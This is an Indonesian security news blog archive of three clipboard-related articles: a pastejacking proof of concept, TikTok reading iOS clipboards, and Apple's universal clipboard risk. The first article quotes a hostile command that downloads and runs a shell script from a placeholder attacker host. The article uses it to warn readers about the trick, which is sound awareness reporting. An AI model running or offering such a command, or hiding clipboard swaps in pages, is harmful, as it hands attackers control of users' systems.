Naga Cyber Defense

Trusted Security for all of Indonesia

You are here: Home / Archives for Clipboard

Clipboard

Jangan salin tempel perintah dari halaman web — Anda bisa diretas

by

Baru-baru ini, Gabriel Friedlander, pendiri platform pelatihan kesadaran keamanan Wizer mendemonstrasikan peretasan yang jelas namun mengejutkan yang akan membuat Anda berhati-hati dalam menyalin-menempelkan perintah dari halaman web.

Friedlander memperingatkan sebuah halaman web dapat secara diam-diam mengganti konten dari apa yang ada di clipboard Anda, dan yang lebih buruk lagi pengembang mungkin hanya menyadari kesalahan mereka setelah menempelkan teks, dan pada saat itu mungkin sudah terlambat.

Dalam bukti konsep sederhana (PoC) yang diterbitkan di blognya, Friedlander meminta pembaca untuk menyalin perintah sederhana yang akan dikenal oleh sebagian besar sysadmin dan pengembang:

Halaman HTML Friedlander dengan perintah sederhana yang dapat Anda salin ke clipboard

Sekarang, tempelkan apa yang Anda salin dari blog Friedlander ke dalam kotak teks atau Notepad, dan hasilnya mungkin akan membuat Anda terkejut:

curl http://attacker-domain:8000/shell.sh | SH

Anda tidak hanya mendapatkan perintah yang sama sekali berbeda di clipboard Anda, tetapi untuk memperburuk keadaan, ia memiliki karakter baris baru (atau kembali) di akhir.

Mereka yang menempelkan teks mungkin mendapat kesan bahwa mereka menyalin perintah sudo apt update yang familier dan tidak berbahaya yang digunakan untuk mengambil informasi terbaru pada perangkat lunak yang diinstal pada sistem Anda.

Keajaibannya ada pada kode JavaScript yang tersembunyi di balik pengaturan halaman HTML PoC oleh Friedlander. Setelah Anda menyalin teks “sudo apt update” yang terdapat dalam elemen HTML, cuplikan kode, yang ditampilkan di bawah ini berjalan.

Apa yang terjadi setelahnya adalah ‘pendengar acara’ JavaScript yang menangkap peristiwa penyalinan dan mengganti data papan klip dengan kode uji berbahaya Friedlander:

Kode JavaScript PoC yang menggantikan konten clipboard

“Inilah mengapa Anda TIDAK PERNAH menyalin perintah tempel langsung ke terminal Anda,” Friedlander memperingatkan.

“Anda pikir Anda menyalin satu hal, tetapi itu diganti dengan sesuatu yang lain, seperti kode berbahaya. Yang diperlukan hanyalah satu baris kode yang disuntikkan ke dalam kode yang Anda salin untuk membuat pintu belakang ke aplikasi Anda.”

Seorang pengguna Reddit juga menyajikan contoh alternatif dari trik ini yang tidak memerlukan JavaScript: teks tak terlihat yang dibuat dengan gaya HTML dan CSS yang disalin ke clipboard Anda saat Anda menyalin bagian teks yang terlihat:

HTML yang tidak terlihat (kiri) diambil selama salin-tempel dan memiliki garis tambahan (kanan)

“Masalahnya bukan hanya situs web dapat mengubah konten clipboard Anda menggunakan JavaScript,” jelas pengguna, SwallowYourDreams.

“Bisa juga hanya menyembunyikan perintah dalam HTML yang tidak terlihat oleh mata manusia, tetapi akan disalin oleh komputer.”

Jadi, alasan lain untuk tidak pernah secara membabi buta mempercayai apa yang Anda salin dari halaman web—lebih baik tempel di editor teks terlebih dahulu.

Sumber : Bleeping Computer

Peringatan — Apple Tiba-tiba Menangkap Bahas TikTok Sedang Memata-matai Jutaan Pengguna iPhone

by

Sebuah aplikasi, TikTok, tertangkap sedang mengintip pengguna iPhone, kata seorang peneliti keamanan Talal Haj Bakry dan Tommy Mysk. Mengingat kekhawatiran keamanan lain yang diangkat tentang aplikasi tersebut, serta kekhawatiran yang lebih luas mengingat asal-usul China-nya, ini menjadi masalah utama semua orang. Sebelumnya, pemilik TikTok Bytedance mengatakan kepada Forbes masalah ini terkait dengan adanya penggunaan SDK iklan Google yang sudah usang yang sedang diganti.

Dilansir dari Forbes, dengan dirilisnya peringatan clipboard baru dalam versi beta dari iOS 14, TikTok tampaknya telah tertangkap basah menyalahgunakan clipboard dengan cara yang sangat luar biasa. Jadi sepertinya TikTok tidak menghentikan praktik invasif ini pada bulan April seperti yang dijanjikan.

Menurut Telegraph, TikTok sekarang mengatakan masalah ini disebabkan oleh “fitur yang dirancang untuk mengidentifikasi perilaku spam yang berulang-ulang,” dan telah meyakinkan bahwa mereka telah “mengirimkan versi pembaruan aplikasi ke App Store dan menghapus fitur anti-spam untuk menghilangkan potensi kebingungan.”

TikTok juga mengatakan bahwa platform “berkomitmen untuk melindungi privasi pengguna dan transparan tentang cara kerja aplikasi kami.”

Sekarang ketika adanya perubahan keamanan dan privasi pada Apple iOS 14 telah menangkap mereka masih melakukan sesuatu yang seharusnya tidak mereka lakukan. Sesuatu yang mereka katakan sudah diperbaiki.

Masalah paling kritis dengan kerentanan ini adalah fungsionalitas clipboard universal Apple, yang berarti bahwa apa pun yang disalin di Mac atau iPad dapat dibaca oleh iPhone pengguna juga, dan sebaliknya. Jadi, jika TikTok aktif di ponsel Anda saat Anda bekerja, aplikasi ini pada dasarnya dapat membaca apa saja dan semua yang Anda salin di perangkat lain: Kata sandi, dokumen kerja, email sensitif, informasi keuangan. Apa pun.

Semua pengguna iPhone harus memperbarui ke versi terbaru TikTok segera setelah dirilis — dan mengingat itu secara aktif membaca clipboard Anda, Anda mungkin ingin mempertimbangkan menggunakan aplikasi itu sebelum adanya pembaruan.

 

Berita selengkapnya:
Source: Forbes

Clipboard pada perangkat Apple terbuka untuk dieksploitasi

by

Beberapa hari yang lalu, Forbes telah melaporkan bahwa ada celah keamanan pada produk Apple, yaitu pada clipboard iPhone dan iPad yang dapat dieksploitasi oleh aplikasi “jahat” pada perangkat itu untuk “mencuri” data apa pun yang disalin ke clipboard. Menanggapi hal ini, Apple berpandangan bahwa ini hanyalah fungsi salin dan tempel yang berfungsi seperti biasa.

 

Risiko muncul karena, seperti yang dijelaskan Apple, pengguna dapat menggunakan Universal Clipboard “untuk menyalin dan menempel di antara perangkat Apple pengguna dan dapat menyalin konten seperti teks, gambar, foto, dan video di satu perangkat Apple, lalu menempel konten di perangkat lain” yang secara teoritis membuat masalah menjadi lebih buruk.

 

Peneliti Talal Haj Bakry dan Tommy Mysk memperlihatkan bagaimana kerentanan ini dapat disalahgunakan pada video dibawah ini.

 

Seperti banyak “kerentanan” lainnya, para peneliti telah mengidentifikasi lubang keamanan yang berpotensi, bukan lubang keamanan yang telah dieksploitasi secara aktif. Tetapi, dengan kelompok-kelompok ancaman yang disponsori negara dan jaringan-jaringan kriminal terorganisir yang menyerang sistem operasi sebagai suatu rutinitas, setiap cacat potensial memberikan titik awal untuk suatu eksploitasi.

 

Source: Forbes